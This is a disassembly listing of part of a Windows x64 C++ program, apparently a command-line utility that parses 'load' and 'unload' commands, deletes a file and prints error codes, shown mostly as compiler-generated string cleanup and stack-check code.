call fcn.140011520
lea rcx, [rsp + 0x320]
call qword [sym.imp.MSVCP140.dll_public_virtual:_void___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::destructor_void____ptr64]
lea rcx, [rsp + 0x3b8]
call qword [sym.imp.MSVCP140.dll_public_virtual:_void___cdecl_std::basic_ios_char__struct_std::char_traits_char__::destructor_void____ptr64]
nop
mov rdx, qword [rsp + 0x128]
cmp rdx, 8
jb 0x14001046d
lea rdx, [rdx*2 + 2]
mov rcx, qword [rsp + 0x110]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14001044c
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14001044c
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1400536cc
jmp 0x14001046d
lea rdx, str._n
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.14000a990
lea rbx, vtable.std::basic_ofstream_char__struct_std::char_traits_char__.0
mov rdx, qword [rsp + 0xe8]
cmp rdx, 0x10
jb 0x1400104b3
inc rdx
mov rcx, qword [rsp + 0xd0]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400104ae
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x1400104ae
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1400536cc
mov qword [rsp + 0xe0], rdi
mov qword [rsp + 0xe8], 0xf
mov byte [rsp + 0xd0], 0
mov rdx, qword [rsp + 0x108]
cmp rdx, 0x10
jb 0x140010515
inc rdx
mov rcx, qword [rsp + 0xf0]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140010510
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140010510
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1400536cc
mov qword [rsp + 0x100], rdi
mov qword [rsp + 0x108], 0xf
mov byte [rsp + 0xf0], 0
mov rax, qword [rsp + 0x1f0]
movsxd rcx, dword [rax + 4]
mov qword [rsp + rcx + 0x1f0], rbx
mov rax, qword [rsp + 0x1f0]
movsxd rcx, dword [rax + 4]
lea edx, [rcx - 0xa8]
mov dword [rsp + rcx + 0x1ec], edx
lea rcx, [rsp + 0x1f8]
call fcn.140011520
lea rcx, [rsp + 0x200]
call qword [sym.imp.MSVCP140.dll_public_virtual:_void___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::destructor_void____ptr64]
lea rcx, [rsp + 0x298]
call qword [sym.imp.MSVCP140.dll_public_virtual:_void___cdecl_std::basic_ios_char__struct_std::char_traits_char__::destructor_void____ptr64]
nop
mov rsi, qword [rsp + 0xa0]
mov r14, qword [rsp + 0x98]
mov r8, qword [rsp + 0xb0]
jmp 0x1400105bc
mov rcx, rdi
lea rdx, [rsp + 0x88]
lea r9, str.LOAD
nop
movzx eax, byte [rdx + rcx]
inc rcx
cmp al, byte [r9 + rcx - 1]
jne 0x1400105e6
cmp rcx, 5
jne 0x1400105d0
jmp 0x140010614
mov rcx, rdi
lea rdx, [rsp + 0x88]
lea r9, str.load
nop dword [rax + rax]
movzx eax, byte [rdx + rcx]
inc rcx
cmp al, byte [r9 + rcx - 1]
jne 0x140010659
cmp rcx, 5
jne 0x140010600
call fcn.14000d920
test al, al
je 0x1400106d2
mov rdx, qword [0x1400740e0]
call fcn.14000d180
mov ebx, eax
test eax, eax
js 0x14001063f
lea rcx, str._n__n
call fcn.140001180
mov rcx, qword [0x1400740e0]
call qword [sym.imp.KERNEL32.dll_DeleteFileW]
test ebx, ebx
jns 0x1400106e4
jmp 0x1400106d6
mov rcx, rdi
lea rdx, [rsp + 0x88]
lea r9, str.Unload
nop dword [rax + rax]
movzx eax, byte [rdx + rcx]
inc rcx
cmp al, byte [r9 + rcx - 1]
jne 0x140010686
cmp rcx, 7
jne 0x140010670
jmp 0x1400106b4
mov rdx, rdi
lea rcx, [rsp + 0x88]
lea r9, str.unload
nop dword [rax + rax]
movzx eax, byte [rcx + rdx]
inc rdx
cmp al, byte [r9 + rdx - 1]
jne 0x1400106d2
cmp rdx, 7
jne 0x1400106a0
xor edx, edx
mov rcx, qword [r8]
call fcn.14000d6a0
mov ebx, eax
test eax, eax
js 0x1400106d6
lea rcx, str._n_n
call fcn.140001180
jmp 0x1400106e4
mov ebx, dword [rsp + 0x24]
mov edx, ebx
lea rcx, str.Error:__08X_n
call fcn.140001180
call fcn.140003620
nop
mov rdx, qword [rsp + 0x1e8]
cmp rdx, 8
jb 0x140010735
lea rdx, [rdx*2 + 2]
mov rcx, qword [rsp + 0x1d0]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140010730
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140010730
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1400536cc
mov qword [rsp + 0x1e0], rdi
mov qword [rsp + 0x1e8], 7
mov word [rsp + 0x1d0], di
mov rdx, qword [rsp + 0x188]
cmp rdx, 0x10
jb 0x140010798
inc rdx
mov rcx, qword [rsp + 0x170]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140010792
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140010792
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1400536cc
nop
mov rdx, qword [rsp + 0x1a8]
cmp rdx, 8
jb 0x1400107e3
lea rdx, [rdx*2 + 2]
mov rcx, qword [rsp + 0x190]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400107de
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x1400107de
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1400536cc
mov qword [rsp + 0x1a0], rdi
mov qword [rsp + 0x1a8], 7
mov word [rsp + 0x190], di
mov rdx, qword [rsp + 0x148]
cmp rdx, 0x10
jb 0x140010845
inc rdx
mov rcx, qword [rsp + 0x130]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140010840
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140010840
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1400536cc
mov qword [rsp + 0x140], rdi
mov qword [rsp + 0x148], 0xf
mov byte [rsp + 0x130], 0
cmp byte [rsp + 0x21], 0
je 0x14001089d
lea rdx, [r14 + 1]
mov rax, rsi
cmp rdx, 0x1000
jb 0x140010894
add rdx, 0x27
mov rsi, qword [rsi - 8]
sub rax, rsi
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140010894
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
mov rcx, rsi
call fcn.1400536cc
nop
mov rdx, qword [rsp + 0x1c8]
cmp rdx, 0x10
jb 0x1400108e3
inc rdx
mov rcx, qword [rsp + 0x1b0]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400108de
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x1400108de
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1400536cc
xor eax, eax
mov rcx, qword [rsp + 0x528]
xor rcx, rsp
call fcn.140053420
lea r11, [rsp + 0x530]
mov rbx, qword [r11 + 0x30]
mov rsi, qword [r11 + 0x40]
mov rsp, r11
pop r15
pop r14
pop r13
pop r12
pop rdi
ret
call fcn.140001380
nop
call fcn.1400012e0
nop
call fcn.140001380
int3
call fcn.1400012e0
int3
call fcn.140001380
int3
call fcn.1400012e0
nop
call fcn.140001380
int3
call fcn.1400012e0
nop
call fcn.140001380
call fcn.1400012e0
nop
call fcn.140001380
call fcn.1400012e0
int3